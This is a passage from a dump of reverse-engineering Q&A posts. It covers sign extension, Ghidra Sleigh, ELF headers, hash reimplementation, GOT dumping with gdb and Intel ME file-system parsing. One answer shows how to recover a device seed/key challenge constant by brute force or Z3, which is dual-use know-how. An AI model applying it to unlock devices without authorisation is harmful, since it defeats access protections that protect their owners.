        "Answer": "<p>movsxd moves the dword by sign extending the dword into qword </p>\n\n<p>so for this example rdx will be eax+edx </p>\n\n<pre><code>C:\\&gt;python -c \"print( hex(0x26d1+0x40d))\n0x2ade\n</code></pre>\n\n<p>you can use some emulators like unicorn<br>\nor use a debugger and patch this instructions some place and loop<br>\nor compile a small source as below to get an understanding<br>\n(the code below sign extends a 16bit input  to a 32bit output )<br>\nin your example a 32bit input is taken to output a 64bit<br>\nthere is also an 8bit input and 16 bit output<br>\nmovsxb(8in160ut),movsxw(16in320ut),movsxd (32in640ut)  </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main(void)\n{\n    printf(\"movsxd demo\\n\");\n    signed short edx = 0x26d1;\n    signed short eax = 0x40d;\n    for (int i = 0; i &lt; 25; i++ ){\n        edx = edx + eax;\n        printf(\"%x\\n\",edx);\n    }\n}\n</code></pre>\n\n<p>compiled and executed you can see how and when it gets sign extended</p>\n\n<pre><code>:\\&gt;cl /Zi /W4 /analyze /EHsc /nologo /Od movsxd.cpp /link /release\nmovsxd.cpp\n\n:\\&gt;movsxd.exe\nmovsxd demo\n2ade\n2eeb\n32f8\n3705\n3b12\n3f1f\n432c\n4739\n4b46\n4f53\n5360\n576d\n5b7a\n5f87\n6394\n67a1\n6bae\n6fbb\n73c8\n77d5\n7be2\n7fef\nffff83fc &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nffff8809 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nffff8c16 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n</code></pre>\n\n<p>just to show a simplified disassembly i refactored the code to eliminate  superfluous print's, assignments , etc and compiled  it with full optimizations and disassembled<br>\ncode </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main(void)\n{\n    signed short edx = 0x26d1;\n    for (int i = 0; i &lt; 25; i++ ){\n        edx = edx + 0x40d;\n        printf(\"%x\\n\",edx);\n    }\n}\n</code></pre>\n\n<p>disassembly see how word from si (16 bit of ESI)is sign extended to eax(32 bit)</p>\n\n<pre><code>:\\&gt;cdb -c \"uf movsxd!main;q\" movsxd.exe |awk \"/Reading/,/quit/\"\n0:000&gt; cdb: Reading initial command 'uf movsxd!main;q'\nmovsxd!main:\n01291000 56              push    esi\n01291001 57              push    edi\n01291002 bed1260000      mov     esi,26D1h\n01291007 bf19000000      mov     edi,19h\n0129100c 0f1f4000        nop     dword ptr [eax]\n\nmovsxd!main+0x10:\n01291010 81c60d040000    add     esi,40Dh\n\n01291016 0fbfc6          movsx   eax,si &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nwhen si will be  &gt; 0x7fff (max signed short) eax will\nget sign extended.\n\n01291019 50              push    eax\n0129101a 6890012d01      push    offset movsxd!__xt_z+0x8 (012d0190)\n0129101f e85c000000      call    movsxd!printf (01291080)\n01291024 83c408          add     esp,8\n01291027 83ef01          sub     edi,1\n0129102a 75e4            jne     movsxd!main+0x10 (01291010)\n\nmovsxd!main+0x2c:\n0129102c 5f              pop     edi\n0129102d 33c0            xor     eax,eax\n0129102f 5e              pop     esi\n01291030 c3              ret\nquit:\n</code></pre>\n"
    },
    {
        "Id": "23247",
        "CreationDate": "2020-02-14T11:02:39.020",
        "Body": "<p>Is there a tool to automatically convert binutils cpu definitions (.cpu / .opc files) to sleigh for use in Ghidra? ... or do I need to hand craft a cpu definition for Synopsys DesignWare ARC 625D?</p>\n",
        "Title": "Convert .cpu / .opc to sleigh",
        "Tags": "|ghidra|",
        "Answer": "<p>There was a project of using these files to <a href=\"https://yifan.lu/2015/12/29/cgen-for-ida-pro/\" rel=\"nofollow noreferrer\">create a processor module for IDA</a>, maybe you can reuse parts of it.</p>\n"
    },
    {
        "Id": "23256",
        "CreationDate": "2020-02-15T06:20:09.700",
        "Body": "<p>I am trying to reverse a seed/key algorithm that has a constant value inside it. and there is different const value for different device that use this algorithm.\ni can give some sample from each device so i have seed/key of devices. \nthe algorithm is :</p>\n\n<pre><code>int SeedKey_Algorithm(int seed){ // sample input: 0x01010101\nfor (int i = 0; i &lt; 0x23; i++)\n{\n    if ((seed &amp; 0x80000000) == 0x80000000)\n    {\n        seed = ( x ^ seed); // x is constant value\n    }\n    seed = seed &lt;&lt; 1;\n}\nreturn seed;\n//out = 0xFFAA5550\n}\n</code></pre>\n\n<p>then if when inject the 0x01010101 as input we get 0xFFAA5550 as output. \nso how i can find this constant value. \nis there any mathematics algorithm for find it? \nis it needed more sample for reverse this?</p>\n\n<p><strong>UPDATE</strong><br>\nso i check another device that work with this algorithm and i find 12 true value for 0x01010101.<br>\n<code>0x0d7c76ff,\n 0x1049164d,\n 0x37749eba,\n 0x6071e476,\n 0x6cced1e7,\n 0x7657a4aa,\n 0x8d7c76ff,\n 0x9049164d,\n 0xb7749eba,\n 0xe071e476,\n 0xecced1e7,\n 0xf657a4aa</code></p>\n\n<p>but for 0x02020202 i can't find any right value :(<br>\nis this possible? or I made a mistake?</p>\n",
        "Title": "Seed/Key Constant Value",
        "Tags": "|debugging|",
        "Answer": "<p>The keyspace for x is only <code>2**32</code>. This can be easily bruteforced. Also you can use something like <a href=\"https://github.com/Z3Prover/z3\" rel=\"nofollow noreferrer\">z3</a> a SAT solver to model the equations.\nFor your given pair these were the possible 16 values for x</p>\n\n<pre><code>0x153f11fa, 0x953f11fa\n0x24c66e44, 0xa4c66e44\n0x3bcc14c8, 0xbbcc14c8\n0x3c2918cb, 0xbc2918cb\n0x477bb478, 0xc77bb478\n0x662a1eac, 0xe62a1eac\n0x71539c35, 0xf1539c35\n0x76a55966, 0xf6a55966\n</code></pre>\n\n<p>With an additional keypair the candidates can be boiled down to 2 values</p>\n\n<pre><code>xxxxxxxxxx:::0x01010101:0x02020202:0x03030303:0x08010101\n0x3bcc14c8:::0xffaa5550:0x88cc8330:0x7766d660:0x87a95f90\n0xbbcc14c8:::0xffaa5550:0x88cc8330:0x7766d660:0x87a95f90\n</code></pre>\n\n<p>Both of these can be used interchangeably as the 31st bit is inconclusive.</p>\n"
    },
    {
        "Id": "23264",
        "CreationDate": "2020-02-15T23:01:11.860",
        "Body": "<p>On VirusTotal, there are lots of ELF samples are <code>missing section headers</code> when using <code>file</code> command to see the info.</p>\n\n<p>Also, when using the Python <code>elftools</code> library to parse them, exceptions will be thrown.</p>\n\n<p>Can these kinds of ELF files still be executed or dangerous?\nIf so, what's the best way to parse them?</p>\n\n<p>Example:\n<a href=\"https://www.virustotal.com/gui/file/7096d1deb8a097b25a74cb2b72009dc37430180b53725e1bec4d18be5856f139/detection\" rel=\"nofollow noreferrer\">https://www.virustotal.com/gui/file/7096d1deb8a097b25a74cb2b72009dc37430180b53725e1bec4d18be5856f139/detection</a>\n(This is not a good example as it's a \".so\" file.)</p>\n\n<hr>\n\n<p>Add the real output:</p>\n\n<p>readelf -h:</p>\n\n<pre><code>ELF Header:\n  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00\n  Class:                             ELF32\n  Data:                              2's complement, big endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           IBM S/390\n  Version:                           0x1\n  Entry point address:               0x403650\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          1090000 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         8\n  Size of section headers:           40 (bytes)\n  Number of section headers:         27\n  Section header string table index: 26\nreadelf: Error: Reading 0x438 bytes extends past end of file for section headers\n</code></pre>\n\n<p>readelf -l:</p>\n\n<pre><code>readelf: Error: Reading 0x438 bytes extends past end of file for section headers\n\nElf file type is EXEC (Executable file)\nEntry point 0x403650\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x00100 0x00100 R E 0x4\n  INTERP         0x000134 0x00400134 0x00400134 0x0000d 0x0000d R   0x1\n  [Requesting program interpreter: /lib/ld.so.1]\n  LOAD           0x000000 0x00400000 0x00400000 0xd7c70 0xd7c70 R E 0x1000\n  LOAD           0x0d7c70 0x004d8c70 0x004d8c70 0x2da34 0x3167c RW  0x1000\n  DYNAMIC        0x1052a8 0x005062a8 0x005062a8 0x000e0 0x000e0 RW  0x4\n  NOTE           0x000144 0x00400144 0x00400144 0x00020 0x00020 R   0x4\n  GNU_EH_FRAME   0x0d7b7c 0x004d7b7c 0x004d7b7c 0x0002c 0x0002c R   0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4\n</code></pre>\n",
        "Title": "Can \"missing section headers\" ELF files still be executed/dangerous?",
        "Tags": "|elf|file-format|executable|",
        "Answer": "<ul>\n<li>Section information is not used at all when the kernel loads a program into memory to create its process image. In other words, execution in no way depends on section information. </li>\n<li>Stripping section information from a binary is not in and of itself necessarily an indicator of dangerous/criminal functionality, although it can serve to make analysis more difficult. </li>\n<li>According to VirusTotal, the example binary you linked to contains 29 sections, so I am not sure what that is supposed to be an example of. Perhaps one of the fields in the ELF header having to do with sections has been edited/corrupted to slow down automatic analysis, since section information cannot be displayed.\n\n<ul>\n<li>if the section header table is still present in the binary, the ELF header can be repaired so that this information is properly parsed. See <a href=\"https://binaryresearch.github.io/2020/01/15/Analyzing-ELF-Binaries-with-Malformed-Headers-Part-3-Solving-A-Corrupted-Keygenme.html\" rel=\"nofollow noreferrer\">here</a> for an example</li>\n<li>run <code>readelf -h</code> against the binary to see if the ELF header has been corrupted</li>\n</ul></li>\n<li>A number of tools can parse such a binary, including radare2, Cutter, IDA, and Ghidra </li>\n</ul>\n"
    },
    {
        "Id": "23297",
        "CreationDate": "2020-02-19T18:19:21.767",
        "Body": "<p>What is the hash? Generated from ida pro</p>\n\n<pre><code>int __fastcall hash(_BYTE *a1)\n{\n  _BYTE *v1; // r4@1\n  int v2; // r5@1\n  int v3; // r6@1\n\n  v1 = a1;\n  v2 = 0;\n  v3 = 1;\n  while ( *v1 )\n  {\n    v3 = (*v1 + v3) % 51407;\n    v2 = (v3 + v2) % 51407;\n    ++v1;\n  }\n  return ~(v3 | (v2 &lt;&lt; 16));\n}\n</code></pre>\n",
        "Title": "Hash from pseudocode",
        "Tags": "|ida|c++|c|",
        "Answer": "<p>for an <strong>array x[]</strong> whose <strong>count is n</strong></p>\n\n<p>the series for v3 without the mod()  will be </p>\n\n<p>n * (1 + x[0]) +  (n-1) * x[1] +  (n-2) * x[2] + (n-3) * x[3] + .... (n-r) * x[r] +...+ x[n]  </p>\n\n<p>the series for v2 without the mod() will be</p>\n\n<p>1+x[0]+x[1]+x[2]+....x[r]+...x[n]</p>\n\n<p>assuming \"secret\" is passed as input<br>\nthen hash will be 0xf72efd78</p>\n\n<p>redone in python</p>\n\n<pre><code>input = \"secret\"\nl = len(input)\nv2 = 0\nv3 = 1\nfor i in range(0,l,1):\n    v3 = (ord(input[i]) + v3)\n    v2 = v3 + v2\n    print(hex(v2),hex(v3))\nprint (\"hash for input %s = %08x\" %(input,(~(v2 &lt;&lt; 16 | v3)) &amp; 0xffffffff))\n</code></pre>\n\n<p>result </p>\n\n<pre><code>0x74 0x74  \n0x14d 0xd9 \n0x289 0x13c\nconforming the series for v2\n&gt;&gt;&gt; hex( 3 * (1 + ord(\"secret\"[0])) + 2 * ord(\"secret\"[1]) + 1 * ord(\"secret\"[2]))\n'0x289'\n0x437 0x1ae\n0x64a 0x213\n0x8d1 0x287\nhash for input secret = f72efd78\n</code></pre>\n"
    },
    {
        "Id": "23298",
        "CreationDate": "2020-02-19T19:32:03.210",
        "Body": "<p>I have a .so file from an android app, and I want to disassemble it with IDA. However I get the error: \n<code>The processor type 'arm' is not included in the installed version of IDA.</code></p>\n\n<p>IDA Version: Freeware 7.0<br>\nOS: Windows 10</p>\n\n<p>Can the freeware 7.0 just not disassemble arm files? If not, what is a suitable alternative that actually works properly and displays a nice function table etc.?\nThanks!</p>\n",
        "Title": "IDA Freeware 7.0 disassemble ARM .so file",
        "Tags": "|ida|arm|shared-object|",
        "Answer": "<p>No, it doesn\u2019t support ARM files.</p>\n<p>From <a href=\"https://www.hex-rays.com/products/ida/support/download_freeware/\" rel=\"nofollow noreferrer\">the description</a>:</p>\n<blockquote>\n<p>The freeware version of IDA v7.0 comes with the following limitations:</p>\n<p>\u2022 no commercial use is allowed</p>\n<p>\u2022   lacks all features introduced in IDA &gt; v7.0</p>\n<p>\u2022   <strong>lacks support for many processors</strong>, file formats, etc\u2026</p>\n<p>\u2022   comes without technical support</p>\n</blockquote>\n"
    },
    {
        "Id": "23311",
        "CreationDate": "2020-02-21T01:01:35.990",
        "Body": "<p>I want to see how the plt stubs are being resolved at run time when lazy linking is used and how the GOT is changed along the way. How can I dump the GOT with gdb?</p>\n",
        "Title": "Dumping the GOT with gdb at run time",
        "Tags": "|binary-analysis|gdb|elf|plt|got|",
        "Answer": "<p>There are a couple of options for this.</p>\n\n<ul>\n<li>Use <a href=\"https://github.com/pwndbg/pwndbg\" rel=\"noreferrer\">pwndbg</a> or <a href=\"https://github.com/hugsy/gef\" rel=\"noreferrer\">gef</a>. They have a command called <code>got</code> which looks like this</li>\n</ul>\n\n<pre><code>gef\u27a4  got\n\nGOT protection: Partial RelRO | GOT functions: 4\n\n[0x555555755018] free@GLIBC_2.2.5  \u2192  0x555555554606\n[0x555555755020] puts@GLIBC_2.2.5  \u2192  0x555555554616\n[0x555555755028] malloc@GLIBC_2.2.5  \u2192  0x555555554626\n[0x555555755030] sprintf@GLIBC_2.2.5  \u2192  0x555555554636\n</code></pre>\n\n<pre><code>pwndbg&gt; got\n\nGOT protection: Partial RELRO | GOT functions: 4\n\n[0x555555755018] free@GLIBC_2.2.5 -&gt; 0x555555554606 (free@plt+6) \u25c2\u2014 push   0 /* 'h' */\n[0x555555755020] puts@GLIBC_2.2.5 -&gt; 0x555555554616 (puts@plt+6) \u25c2\u2014 push   1\n[0x555555755028] malloc@GLIBC_2.2.5 -&gt; 0x555555554626 (malloc@plt+6) \u25c2\u2014 push   2\n[0x555555755030] sprintf@GLIBC_2.2.5 -&gt; 0x555555554636 (sprintf@plt+6) \u25c2\u2014 push   3\n</code></pre>\n\n<ul>\n<li>According to <a href=\"https://github.com/pwndbg/pwndbg/blob/cc0c90a4a4599ca6f0470157db5fc78c2708a904/pwndbg/wrappers/readelf.py#L15\" rel=\"noreferrer\">their</a> <a href=\"https://github.com/hugsy/gef/blob/7bd407a1bb90e34730351715d323bc905275859a/gef.py#L8745\" rel=\"noreferrer\">sources</a> both use <code>readelf</code> as such to display this information</li>\n</ul>\n\n<pre><code>$ readelf --relocs ll\nRelocation section '.rela.dyn' at offset 0x4a0 contains 9 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000200dd8  000000000008 R_X86_64_RELATIVE                    750\n000000200de0  000000000008 R_X86_64_RELATIVE                    710\n000000201040  000000000008 R_X86_64_RELATIVE                    201040\n000000200fd0  000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0\n000000200fd8  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0\n000000200fe0  000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0\n000000200fe8  000700000006 R_X86_64_GLOB_DAT 0000000000000000 _Jv_RegisterClasses + 0\n000000200ff0  000900000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0\n000000200ff8  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0\n\nRelocation section '.rela.plt' at offset 0x578 contains 4 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000201018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0\n000000201020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0\n000000201028  000600000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0\n000000201030  000800000007 R_X86_64_JUMP_SLO 0000000000000000 sprintf@GLIBC_2.2.5 + 0\n</code></pre>\n\n<p>And then use this output to dump GOT while debugging.</p>\n\n<ul>\n<li>Another method is to use <code>plt</code> symbols to resolve <code>got</code></li>\n</ul>\n\n<pre><code>pwndbg&gt; disass 'puts@plt'\nDump of assembler code for function puts@plt:\n   0x0000555555554610 &lt;+0&gt;: jmp    QWORD PTR [rip+0x200a0a]        # 0x555555755020\n   0x0000555555554616 &lt;+6&gt;: push   0x1\n   0x000055555555461b &lt;+11&gt;:    jmp    0x5555555545f0\nEnd of assembler dump.\npwndbg&gt; tele 0x555555755020\n00:0000\u2502   0x555555755020 (_GLOBAL_OFFSET_TABLE_+32) \u2014\u25b8 0x7ffff7aa2f90 (puts) \u25c2\u2014 push   r13\n01:0008\u2502   0x555555755028 (_GLOBAL_OFFSET_TABLE_+40) \u2014\u25b8 0x7ffff7ab4f10 (malloc) \u25c2\u2014 push   rbp\n02:0010\u2502   0x555555755030 (_GLOBAL_OFFSET_TABLE_+48) \u2014\u25b8 0x7ffff7a892d0 (sprintf) \u25c2\u2014 sub    rsp, 0xd8\n03:0018\u2502   0x555555755038 (data_start) \u25c2\u2014 0x0\n04:0020\u2502   0x555555755040 (__dso_handle) \u25c2\u2014 0x555555755040 /* '@PuUUU' */\n05:0028\u2502   0x555555755048 (completed) \u25c2\u2014 0x0\n... \u2193\npwndbg&gt; print puts\n$13 = {&lt;text variable, no debug info&gt;} 0x7ffff7aa2f90 &lt;_IO_puts&gt;\n</code></pre>\n"
    },
    {
        "Id": "23324",
        "CreationDate": "2020-02-23T07:46:39.153",
        "Body": "<ol>\n<li>What is the purpose of partitions <strong>EFFS</strong> and <strong>FCRS</strong> on systems with Intel ME 8.x?</li>\n<li>Is it currently possible to parse data in <strong>EFFS</strong> partition on a ME image?</li>\n</ol>\n\n<p>I hope anyone can help, there is so little information about this available.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Intel ME partitions EFFS and FCRS?",
        "Tags": "|firmware|intel|",
        "Answer": "<p>I was working on this this weekend.  Turns out it's pretty straight-forward.  Simple list of contiguous files. Just copies files when they change, and marks the allocation-table entries as dead, for later collection.  </p>\n\n<p>The following is incomplete, but it should let you tweak and special-case your way through a specific MFS partition.  I've tried to document in comments where I've made large assumptions.</p>\n\n<p><strong>EDIT: There do seem to be metadata in the data.</strong>  E.g., when looking at the content of UKS, the copy in the SCA partition is clearly <code>0E f4 00 00</code> whereas in MFS, the data there is <code>80 06 0e f4 00 00</code>, so it looks like there's <em>leading</em> metadata.  </p>\n\n<p><strong>EDIT 2: Figured out the metadata.</strong>  It gives a much better method for deterministically identifying files by number within a block than the method I devised without it.  Updated the code with a description and a rather complicated state-machine for successfully processing the metadata.</p>\n\n<pre><code>import sys\n\n#litte-endian integer readers\ndef read_leuint8(file):\n    data = file.read(1)\n    return data[0]\n\ndef read_leuint16(file):\n    data = file.read(2)\n    return data[0] | (data[1] &lt;&lt; 8)\n\ndef read_leuint24(file):\n    data = file.read(3)\n    return data[0] | (data[1] &lt;&lt; 8) | (data[2] &lt;&lt; 16)\n\ndef read_leuint32(file):\n    data = file.read(4)\n    return data[0] | (data[1] &lt;&lt; 8) | (data[2] &lt;&lt; 16) | (data[3] &lt;&lt; 24)\n\n\nclass MEFileSystemFileMetadataStateMachine:\n    \"\"\" \n    MEFileSystemFileMetadata:\n\n    Files in MFS have internal metadata entries.  Each file begins with a metadata \n    record, observed values are:\n        0xa# &lt;bytes ahead until next metadata&gt;  &lt;0x01&gt; &lt;next meta block num&gt; &lt;0x00&gt;\n        0xb# &lt;blocks ahead until next metadata&gt; &lt;0x01&gt; &lt;next meta block num&gt; &lt;0x00&gt;\n        0x8# &lt;bytes remaining in file (including this metadata)&gt;\n\n    where\n        #                   --  is the file number within the block.  This is the \n                                target for the fno field of the allocation table \n                                entry.\n        &lt;bytes ahead...&gt;    --  the number of bytes to move ahead to find the next \n                                metadata record (including this metadata).\n        &lt;next meta block...&gt;--  the 0x100-byte block number where the next metadata \n                                record is to be found. This value should be looked \n                                up through the data-page's block-indirection table.\n        &lt;blocks ahead...&gt;   --  the number of 0x100 byte blocks to move ahead to \n                                find the next metadata record (including this \n                                metadata).\n        &lt;bytes remaining...&gt;--  pretty straight-forward.\n\n    So, 0x8# metadata are file-end records; 0xa# are short-range references; and \n    0xb# are longer range references.  This metadata chain provides unamiguous file \n    numbers within the blocks, and since they're put at the block start of any \n    block that contains a file-start, it's easy to pick up from an allocation table \n    reference.\n\n    Note: 0x8# records don't point to the next metadata block, so we may have to \n    consume file-end padding (0xff until the next multiple of 0x10) if we get an \n    intermediate 0x8# metadata while searching for our target file.\n    \"\"\"\n    STATE_NEED_META = 0\n    STATE_NEED_SKIP_DATA = 1\n    STATE_NEED_FILE_DATA = 2\n    STATE_COMPLETE = 3\n\n    def __init__(self, file_no, file_len):\n        self.file_no = file_no\n\n        self.state = MEFileSystemFileMetadataStateMachine.STATE_NEED_META\n        self.bytes_needed = 1\n        self.byte_offset = 0\n        self.cur_meta = bytearray(5)\n        self.file_data = bytearray(file_len)\n        self.file_filled = 0\n        self.found_fileno = False\n\n        self.work_buf = self.cur_meta\n\n    def is_complete(self):\n        return self.state == self.STATE_COMPLETE\n\n    def get_file_data(self):\n        return self.file_data\n\n    def get_bytes_needed(self):\n        return self.bytes_needed\n\n    #returns the number of bytes consumed\n    def add_bytes(self, bytes, start_index, data_len=None, log_file = None):\n        \"\"\"\n        supplies data to satisfy the state-machine's need for data as reported\n        via get_bytes_needed().\n\n        bytes       -- the buffer containing the bytes to be fed in\n        start_index -- the start location of the bytes within the buffer\n        data_len    -- number of bytes in the array, starting at start_index.\n                       if None, then len(bytes) - start_index is assumed\n        \"\"\"\n\n        #shuffling data from potentially multiple calls to fill the data request from the \n        #state machine (get_bytes_needed)\n        data_len = len(bytes) - start_index if data_len is None else data_len\n\n        if data_len == 0: return 0 # nothing to do\n\n        #take the min of what's available and what we need\n        to_copy = data_len if data_len &lt; self.bytes_needed else self.bytes_needed\n        if self.work_buf:\n            self.work_buf[self.byte_offset:(self.byte_offset+to_copy)] = bytes[start_index:(start_index+to_copy)]\n            self.byte_offset = self.byte_offset + to_copy\n        self.bytes_needed = self.bytes_needed - to_copy\n\n        #if we don't have enough to process, return so they can feed more\n        if self.bytes_needed &gt; 0:\n            return to_copy\n\n        #we only make it this far once we've got the full bytes_needed data\n\n        meta_type = self.cur_meta[0] &amp; 0xf0\n        if self.state == self.STATE_NEED_META:\n            if self.byte_offset == 1:\n                if meta_type in [0xa0, 0xb0]:\n                    self.bytes_needed = 4\n                else:\n                    self.bytes_needed = 1\n            else:\n                #Have we found the file number we seek yet?\n                if self.found_fileno or (self.file_no == self.cur_meta[0] &amp; 0x0f):\n                    self.found_fileno = True\n                    self.state = self.STATE_NEED_FILE_DATA\n                    self.work_buf = self.file_data\n                    self.byte_offset = self.file_filled\n                else:\n                    self.state = self.STATE_NEED_SKIP_DATA\n                    self.work_buf = None\n                    self.byte_offset = None\n\n                #determine the data required based on metadata type, and whether we're\n                #skipping (so need to eat EOF padding on type 0x8# entries) or whether\n                #we're copying out file data.\n                if meta_type == 0x80:\n                    if self.state == self.STATE_NEED_SKIP_DATA:\n                        #if we're skipping a 0x8# entry, we need to eat EOF padding too\n                        padding = (0x10 - (self.cur_meta[1] &amp; 0xf)) &amp; 0xf\n                        self.bytes_needed = padding + self.cur_meta[1] - 2 #remove header len, too\n                    else:\n                        self.bytes_needed = self.cur_meta[1] - 2 #remove header len\n                elif meta_type == 0xa0:\n                    self.bytes_needed = self.cur_meta[1] - 5 #remove header len\n                elif meta_type == 0xb0:\n                    self.bytes_needed = self.cur_meta[1] * 0x100 - 5 #remove header len\n                else:\n                    if log_file:\n                        log_file.write(\"That's not a metadata type I've seen before...: 0x%02x\\n\" % self.cur_meta[0])\n                    return None\n\n        elif self.state == self.STATE_NEED_SKIP_DATA: #recall: this is the state just *completed*\n            self.state = self.STATE_NEED_META\n            self.work_buf = self.cur_meta\n            self.byte_offset = 0\n            self.bytes_needed = 1\n\n        elif self.state == self.STATE_NEED_FILE_DATA: #recall: this is the state just *completed*\n            self.file_filled = self.byte_offset\n            self.state = self.STATE_NEED_META\n            self.work_buf = self.cur_meta\n            self.byte_offset = 0\n            if meta_type == 0x80: #just completed a file-end record...we're done.\n                self.bytes_needed = 0\n                self.state = self.STATE_COMPLETE\n            elif meta_type in [0xa0, 0xb0]:\n                self.bytes_needed = 1\n            else:\n                if log_file:\n                    log_file.write(\"That's not a metadata type I've seen before...: 0x%02x\\n\" % self.cur_meta[0])\n                return None\n\n        elif self.state == self.STATE_COMPLETE: #can't leave this state\n            pass\n\n        else:\n            if log_file:\n                log_file.write(\"Bad state-machine state: %d\\n\" % self.state)\n\n        #recurse to consume as much as we can, for easier calling convention\n        if to_copy &lt; data_len:\n            return  to_copy + add_bytes(bytes, start_index+to_copy, data_len-to_copy)\n\n        #else, return what we consumed\n        return to_copy\n\n\ndef read_me_fs_file(file_no, file_len, me_file, log_file = sys.stdout):\n    sm = MEFileSystemFileMetadataStateMachine(file_no, file_len)\n\n    while not sm.is_complete():\n        res = sm.add_bytes(\n            bytes=me_file.read(sm.get_bytes_needed()), \n            start_index=0,    \n            data_len=None, #shorthand for len(bytes)-start_index\n            log_file=log_file)\n        if not res:\n            log_file.write(\"Aborting file read.\\n\")\n            break\n\n    return sm.get_file_data()\n\nclass MEFileSystemDataHeader:\n    \"\"\"\n    Data Page Header: (Top of a 0x4000-byte data page in the MFS)\n           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     00 | pgno|     pgflags     | 0x00| 0x00| 0x00| 0x00| mystery bits                                  | \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     10 | freed_flags...                                                                                |\n        +-----------------------------------------------------------------------------------------------+\n    ... | ...                                                                                           |\n        +-----------------------------------------------------------------------------------------------+\n     80 | ...                                                                                           |\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     90 | block indirection table...                                                                    |\n        +-----------------------------------------------------------------------------------------------+\n    ... | ...                                                                                           |\n        +-----------------------------------------------------------------------------------------------+\n     c0 | ...                                                                                           |\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     d0+| (file data follows)                                                                           |\n        +-----------------------------------------------------------------------------------------------+\n\n    pgno       -- page identifier within the MFS.  All MFS page headers \n                  have this field, be they AT or Data.\n    pgflags    -- have seen 0x78 0xfe 0xff for AT header. Data pages have\n                  had this or 0x78 0xfc 0xff.\n    (zeros)    -- a useless value for flash...must be part of the signature\n                  of the header?  Or reserved region for later version of\n                  the format.\n    myst_bits  -- TBD\n    freed_flags-- each bit marks whether a written 0x10-byte chunk is no \n                  longer required.  Bits exist for the header chunks, as\n                  well as the chunks for file data.  lsb of the first byte\n                  corresponds to the first chunk of the header. 0=freed.\n    blk_itab   -- translates ATFileEntry's okey value into a block offset \n                  within the data page.  offset = blk_itab[okey] * 0x100.\n                  This is the location from which to begin the search. Note\n                  that an offset of 0 must still respect that the page\n                  header consumes bytes [0x00, 0xd0) for the search.\n    (filedata) -- File are padded with 0xff at the end. Note files\n                  have internal metadata.  See routines above.\n    \"\"\"\n\n    def __init__(self, page_no, flags, bytes_00000000, myst_bits, freed_flags, blk_itab):\n        self.page_no = page_no\n        self.flags = flags\n        self.zeros_good = bytes_00000000 == b'\\x00\\x00\\x00\\x00'\n        self.myst_bits = myst_bits\n        self.freed_flags = freed_flags\n        self.blk_itab = blk_itab\n\n    def debug_print(self, log = sys.stdout):\n        log.write(\"Debug Print of MEFileSystemDataHeader %x:\\n\" % id(self))\n        if self.page_no != 0xff:\n            log.write(\"  page no: 0x%x\\n\" % self.page_no)\n            log.write(\"  flags: 0x%06x\\n\" % self.flags)\n            log.write(\"  zeros good: %s\\n\" % str(self.zeros_good))\n            log.write(\"  mystery bits: %s\\n\" % \" \".join(\"%02x\"%x for x in self.myst_bits))\n            log.write(\"  freed_flags: %s\\n\" % \"\".join(\"%02x\"%x for x in self.freed_flags))\n            log.write(\"  block ind. tab.: [%s]\\n\" % \" \".join(\"%02x\"%x for x in self.blk_itab))\n        else:\n            log.write(\"  (empty)\\n\")\n\n\nclass MEFileSystemATEntry:\n    \"\"\"\n    Allocation Table Entry:\n        0     1     2     3     4     5     6     7     8     9     a     \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     00 |state| flgs|    identifier   | type|  filelen  | pgid| okey| fno |\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n\n    state      -- status of the entry: 0xdc=present; \n                  0xc8=overwritten(i.e., there will be another entry below)\n    flags      -- has value 0xf0 in every example...so hard to tell.\n    identifier -- 3-byte identifier...seem to be a preference for ASCII,\n                  but there are counterexamples\n    type       -- no idea...maybe permissions?  Observed values:\n                  0x00, 0x0a, 0x0c, 0x0d, 0x0e, 0x18, 0x1a\n    filelen    -- 16-bit, little endian.  actual content seems to be a few\n                  bytes more...might just be pollution of the structures\n                  used to write the file.\n    pgid       -- the pgno for the MEFileSystemDataHeader that holds the \n                  data.  The ATHeader is numbered 0, each data page seems\n                  to get sequentially numbered in my examples, though that \n                  could change with more use. 0xff indicates \"not\n                  yet used / nonumber assigned\" --- a fact that hints 